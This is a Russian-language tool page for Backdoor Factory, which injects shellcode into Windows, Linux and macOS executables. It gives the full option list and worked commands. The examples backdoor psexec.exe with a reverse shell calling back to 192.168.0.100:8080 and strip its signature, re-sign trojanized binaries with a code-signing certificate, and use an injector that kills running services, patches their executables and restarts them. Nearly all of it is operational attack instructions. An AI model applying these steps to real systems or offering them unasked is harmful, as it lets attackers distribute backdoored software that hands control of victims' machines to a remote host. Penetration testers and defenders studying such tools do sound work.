Backdoor Factory (BDF)
Описание Backdoor Factory
Backdoor Factory (BDF) патчит шеллкодом исполнимые файлы PE, ELF, Mach-O.
Цель BDF – это пропатчить исполнимые бинарники желаемым шеллкодом и сохранить их нормальное выполнение как в до пропатченном состоянии.
Поддерживаются: Windows PE x32/x64 и Linux ELF x32/x64 (System V).
Некоторые исполнимые файлы имеют встроенные защиты, т.е. программа будет срабатывать не на всех бинарниках. Рекомендуется тестировать исполнимые файлы перед распространением файлов на клиентские машины или использовании в упражнении.
Особенности:
PE файлы
- Может найти codecaves в EXE/DLL.
- По умолчанию очищает указатель на таблицу PE сертификатов, следовательно, снимает подпись с исполнимого файла.
- Может сделать инжект шеллкода внутрь code caves или в новую секцию.
- Может найти, должен ли исполнимый файл PE запускаться с повышенными привилегиями.
- При выборе code caves, вы можете использовать следующие команды:
- -Jump (j), для прыжка code cave
- -Single (s), для патчинга всего вашего шеллкода в одну code cave
- -Append (a), для создания code cave
- -Ignore (i или q), игнорировать этот бинарник
- Может игнорировать DLLs
- Импорт таблицы парчинга
- AutoPatching (-m automtic)
- Onionduke (-m onionduke)
ELF файлы
- Добавление 1000 байт (в байтах) к TEXT SEGMENT (текстовому сегменту) и инжект в эту секцию кода шеллкода.
Mach-O файлы
- Патчинг Pre-Text Section и удаление подписи
В общем и целом
Пользователь может:
- Предоставить пользовательский шеллкод.
- Патчить директорию исполнимых файлов/dll.
- Выбрать для патча только исполнимые файлы x32 или x64.
- Включить BDF в другие проекты на Python, смотрите pebin.py и elfbin.py
Домашняя страница: https://github.com/secretsquirrel/the-backdoor-factory
Автор: Joshua Pitts
Лицензия: GPLv3
Справка по Backdoor Factory
Использование:
backdoor.py [опции]
Опции: -h, --help показать справку и выйти -f ФАЙЛ, --file=ФАЙЛ ФАЙЛ для бэкдора -s ШЕЛЛ, --shell=ШЕЛЛ Полезные нагрузки, доступные для использования. Используйте 'show' для просмотра полезных нагрузок. -H ХОСТ, --hostip=ХОСТ IP от C2 для обратного подключения. -P ПОРТ, --port=ПОРТ Это порт как для обратного подключения в обратном шелле, так и для прослушивания на связанном шелле -J, --cave_jumping Выберите эту опцию, если вы хотите использовать code cave jumping для дальнейшего скрытия шеллкода в бинарнике. -a, --add_new_section Указание добавлять новую секцию в exe (лучший успех) но меньше шансов избежать антивирусы -U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE Переданный пользователем шеллкод, убедитесь, что соответствует архитектуре цели. -c, --cave Флаг cave найдёт code caves, которые могут использоваться для припрятывания шеллкода. Это выведет все code caves указанного размера. С этой настройкой можно использовать флаг -l. -l SHELL_LEN, --shell_length=SHELL_LEN Для использования с -c в помощи поиска code caves различных размеров -o ВЫВОД, --output-file=ВЫВОД Файл выводао для бэкдора -n NSECTION, --section=NSECTION Имя новой специи, должно быть менее семи символов -d ДИРЕКТОРИЯ, --directory=ДИРЕКТОРИЯ Это расположение файлов, которые вы хотите забэкдорить. Вы можете ускорить внедрение бэкдоров принудительным вложением codecave в exe используя настройку -a. -w, --change_access Этот флаг меняет раздел, где находится codecave на RWE. Иногда это необходимо. По умолчанию включено. Если отключить, то backdoor может потерпеть неудачу. -i, --injector Эта команда включает вbackdoor factory механизм охоты и бэкдора (Hunt and backdoor: Injector). Отредактируйте настройки цели в модуле инжектора. -u СУФФИКС, --suffix=СУФФИКС Для использования с инжектором, добавить суффикс к оригинальному имени файла для простого восстановления -D, --delete_original Для использования с модулем инжектора. Эта команда удаляет оригинальный файл. Не для использования в рабочих системах. *Автор не несёт ответственности за тупое использование.* -O DISK_OFFSET, --disk_offset=DISK_OFFSET Начальная точка дискового смещения. Некоторые авторы обфусцируют дисковым смещением для избегания обратной инженерии, если вы нашли один из этих файлов, то используйте этот флаг после нахождения смещения. -S, --support_check Определить, поддерживается ли файл BDF до бэкдоринга файла. Используйте как есть или в вербальном режиме. Эта проверка проводится автоматически при попытке встроить в файл бэкдор. -M, --cave-miner Будущее использование, для определения самого маленького шеллкода, возможного в файле PE -q, --no_banner Убивает банер. -v, --verbose Для вывода отладочной информации. -T IMAGE_TYPE, --image-type=IMAGE_TYPE ALL, x86, или x64 (тип исполнимых файлов). По умолчанию=ALL -Z, --zero_cert Разрешает перезапись указателя на PE таблицу сертификатов, эффективно удаляя сертификат из двоичного файла для всех намерений и целей -R, --runas_admin ЭКСПЕРИМЕНТАЛЬНАЯ Проверяет бинарники PE на 'requestedExecutionLevel level="highestAvailable"'. Если эта строка включена в бинарник, то он должен запускаться от системы/админа. Если не в режиме Support Check mode то будет сделана попытка проптчить highestAvailable в manifest если существует запись requestedExecutionLevel. -L, --patch_dll Используйте эту настройку если вы НЕ хотите патчить DLL. По умолчанию они патчатся. -F FAT_PRIORITY, --fat_priority=FAT_PRIORITY Для формата MACH-O. Если fat файл, фокус на какую архитектуру патч. По умолчанию это x64. Для принудительного x86 используйте -F x86, для принудительного выбора обеих архитектур используйте -F ALL. -B BEACON, --beacon=BEACON Для полезных нагрузок с функцией прозвона, установить время в секундах -m PATCH_METHOD, --patch-method=PATCH_METHOD Метод патча для файлов PE, 'manual','automatic', replace и onionduke -b SUPPLIED_BINARY, --user_malware=SUPPLIED_BINARY Для onionduke. Укажите ваш желаемый бинарник. -X, --xp_mode По умолчанию: НЕ поддерживать устаревшие машины XP, используйте -X для поддержки XP. По умолчанию бинарники будут останавливаться на XP машинах (например, песочницы) -A, --idt_in_cave ЭКСПЕРИМЕНТАЛЬНАЯ По умолчанию новый Import Directory Table создаётся в новой секции, вызвав этот флаг он будет размещён в code cave. Это может привести к вылету исполнимого файла в некоторых обстоятельствах. Сперва протестируйте на целевых бинарников. -C, --code_sign Только для тех, кто с сертификатами для подписи кода хочет подписать PE исполнимые файлы. Укажите ваш ключ подписи и приватный ключ, signingcert.cer и signingPrivateKey.pem соответственно в директории сертификатов, получение подписных сертификатов это ваша проблема.
Руководство по Backdoor Factory
Страница man отсутствует.
Примеры запуска Backdoor Factory
Патчить exe/dll используя существующий code cave:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp [*] In the backdoor module [*] Checking if binary is supported [*] Gathering file info [*] Reading win32 entry instructions [*] Looking for and setting selected shellcode [*] Creating win32 resume execution stub [*] Looking for caves that will fit the minimum shellcode length of 402 [*] All caves lengths: (402,) ############################################################ The following caves can be used to inject code and possibly continue execution. **Don't like what you see? Use jump, single, append, or ignore.** ############################################################ [*] Cave 1 length as int: 402 [*] Available caves: 1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507 2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492 3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501 4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492 5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505 6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498 7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495 8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505 9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559 10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559 ************************************************** [!] Enter your selection: 5 Using selection: 5 [*] Changing Section Flags [*] Patching initial entry instructions [*] Creating win32 resume execution stub [*] Overwriting certificate table pointer [*] psexec.exe backdooring complete File psexec.exe is in the 'backdoored' directory
Патчить exe/dll добавлением новой секции кода:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a [*] In the backdoor module [*] Checking if binary is supported [*] Gathering file info [*] Reading win32 entry instructions [*] Looking for and setting selected shellcode [*] Creating win32 resume execution stub [*] Creating Code Cave - Adding a new section to the exe/dll for shellcode injection [*] Patching initial entry instructions [*] Creating win32 resume execution stub [*] Overwriting certificate table pointer [*] psexec.exe backdooring complete File psexec.exe is in the 'backdoored' directory
Патчить директорию с exe:
./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a ...вывод слишком длинный для этой страницы...
Указанный пользователь шеллкод:
msfpayload windows/exec CMD='calc.exe' R > calc.bin ./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin This will pop calc.exe on a target windows workstation. So 1337. Much pwn. Wow.
PEcodeSigning
BDF может подписывать PE файлы если у вас есть сертификат для подписи кода (codesigning). Разместите ваш сертификат и приватный ключ в директорию certs/. Подготовьте ваш сертификат используя команду openssl: http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html
Разместите пароль вашего приватного ключа (gasp) следующий образом (в точности как здесь):
echo -n yourpassword > certs/passFile.txt
Назовите ваши сертификаты в ТОЧНОСТИ как показано:
signingCert.cer => certs/signingCert.cer signingPrivateKey.pem => certs/signingPrivateKey.pem
Ваша директория certs/ должна в точности выглядеть так:
certs ├── passFile.txt ├── signingPrivateKey.pem └── signingCert.cer
Включите подписывание кода PE флагом -C так:
./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C
При успешном запуске вы должны в выводе BDF увидеть следующую строку:
[*] Code Signing Succeeded
Hunt и backdoor: Injector | Только для Windows
Модуль injector будет искать на диске целевые бинарники для бэкдора. Он будет проверять, определили вы цель как службу, запущен ли процесс, убьёт процесс и/или службу, вставит в выполнимый файл шеллкод, сохранит оригинальный файл в file.exe.old или с другим суффиксом по выбору, попытается перезапустить процесс или службу.
Отредактируйте словарь целей Python "list_of_targets" в модуле 'injector' по своему выбору.
./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow
Установка Backdoor Factory
Программа предустановлена в Kali Linux.
Установка в BlackArch
Программа предустановлена в BlackArch.
Информация об установке в другие операционные системы будет добавлена позже.
Скриншоты Backdoor Factory
Это утилита командной строки.
Инструкции по Backdoor Factory
Ссылки на инструкции будут добавлены позже.
Comments are Closed